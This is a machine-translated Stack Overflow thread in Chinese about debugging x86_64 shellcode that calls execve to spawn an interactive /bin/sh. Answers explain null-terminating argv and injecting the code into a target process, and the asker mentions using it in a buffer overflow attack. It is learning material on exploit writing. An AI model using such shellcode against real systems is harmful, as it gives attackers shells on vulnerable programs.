shellcode:将参数传递给x86_64程序集中的execve

问题描述:

我试图编写一个运行execve的shellcode。等效的c程序如下所示:shellcode:将参数传递给x86_64程序集中的execve

int main() 
{ 

    char *argv[3] = {"/bin/sh","-i", "/dev/tty", NULL}; 
    execve("/bin/sh", argv, NULL); 

    return 0; 
} 

c程序运行良好。然后我试图写我这样的测试程序(修订推空):

#include<stdio.h> 
int main(){ 
    __asm__(
      "xor %rdx,%rdx\n\t" //rdx is the third argument for execve, null in this case. 
      "push %rdx\n\t" 
      "mov -8(%rbp),%rdx\n\t" 
      "mov $0x692d,%rdi\n\t" //$0x6924 is 'i-' 
      "push %rdi\n\t"   //push '-i' to the stack 
      "lea -16(%rbp),%rax\n\t" //now rax points to '-i' 
      "mov $0x31b7f54a83,%rdi\n\t" //the address of /bin/sh 
      "push %rdi\n\t"    //push it to the stack    
      "push %rdx\n\t"    //end the array with null 
      "mov $0x31b7e43bb3,%rdi\n\t" //the address of "/bin/sh" 
      "push %rdi\n\t"    //push the address of "/dev/tty to the stack 
      "push %rax\n\t"    //push the address of '-i' to the stack 
      "mov $0x31b7f54a83,%rdi\n\t" 
      "push %rdi\n\t"    //push the address of /bin/sh again to the stack 
      "mov %rsp,%rsi\n\t"   //rsi now points to the beginning of the array 
      "mov -24(%rbp),%rdi\n\t" //rdi now points to the addresss of "/bin/sh" 
      "mov $0x3b,%rax\n\t"    // syscall number = 59 
      "syscall\n\t" 
    ); 
    } 

我在内存中的字符串的地址在这里和我们可以假设,他们将不会改变。但是我们没有字符串'-i'的地址。所以我在这里做是推动参数进栈是这样的:


Low     ------------------------------------------------------------------    High 

|addressof"/bin/sh"(rsi points to here)|addressof"-i"|addressof"/dev/ssh"|addressof"/bin/sh"(rdi points to here)|-i| 

它没有工作。程序编译好,但是当我运行程序时,什么都没有发生。

我对汇编并不熟悉,并且对参数传递的方式有些担忧,例如,编译器如何知道argv参数何时结束于内存中?

编辑

多亏了由Niklas低于B的建议,我曾经跟踪,看是否execve的实际运行。我得到了execve(0x31b7f54a83, [0x31b7f54a83, "-i", 0x31b7e43bb3, 0x31b7f54a83, 0x692d], [/* 0 vars */]) = -1 EFAULT (Bad address),这意味着第二个参数被错误地传递。我推入堆栈的所有内容都被认为是argv参数的一部分!

在我将零点推入堆栈之后,strace给出execve(0x31b7f54a83, [0x31b7f54a83, "-i", 0x31b7e43bb3], [/* 0 vars */]) = -1 EFAULT (Bad address)。如果地址是字符串,这是非常接近正确的答案...

感谢布赖恩,我现在看到现在的问题在哪里。硬编码地址位于另一个程序的共享库中。所以这个程序不应该运行,直到它被实际送入该程序。谢谢大家,我会尽快更新。如果问题解决了,我会将其标记为已解决。

+0

无效终止!空终止! –

+0

@KerrekSB所以我需要将0x00推入堆栈呢? – Gnijuohz

+4

(不是说这与您的问题有关。)数组需要由空指针终止。另外,将'NULL'作为参数传递是一种非可移植的Linux黑客攻击,不应该依赖它。参见[手册](http://man7.org/linux/man-pages/man2/execve.2.html)。 –

正如Kerrek SB和user9000在注释中指出的那样,argv数组需要是以空字符结尾的字符串数组。

修复之后,单独运行此程序仍然不起作用,因为"/bin/sh""/dev/tty"这些字符串可能不存在于刚刚编译的程序中的该位置,而是存在于该位置的程序设计了shell代码的目标。您需要实际注入该程序,以便在那里执行,这些字符串位于这些地址。

+0

非常感谢,我会尽快接受你的回答。 – Gnijuohz

+0

嗨布莱恩,它的工作...但是,当我用它作为缓冲区溢出攻击,我alwways有一个总线错误,任何想法为什么会发生? – Gnijuohz

+0

@Gnijuohz我不确定马上。您是否介意发布另一个问题,提供有关您的新问题的更多信息?显示你正在注射的确切代码,你注入的内容,你如何做,以及你得到的结果。在碰到你的代码之前尝试打入GDB是一件好事,然后逐步浏览它,看看你到底在哪里得到总线错误。这可能会帮助你找到它,或者可能会给你足够的信息来提出一个新的问题,以便有人能够帮助你。 –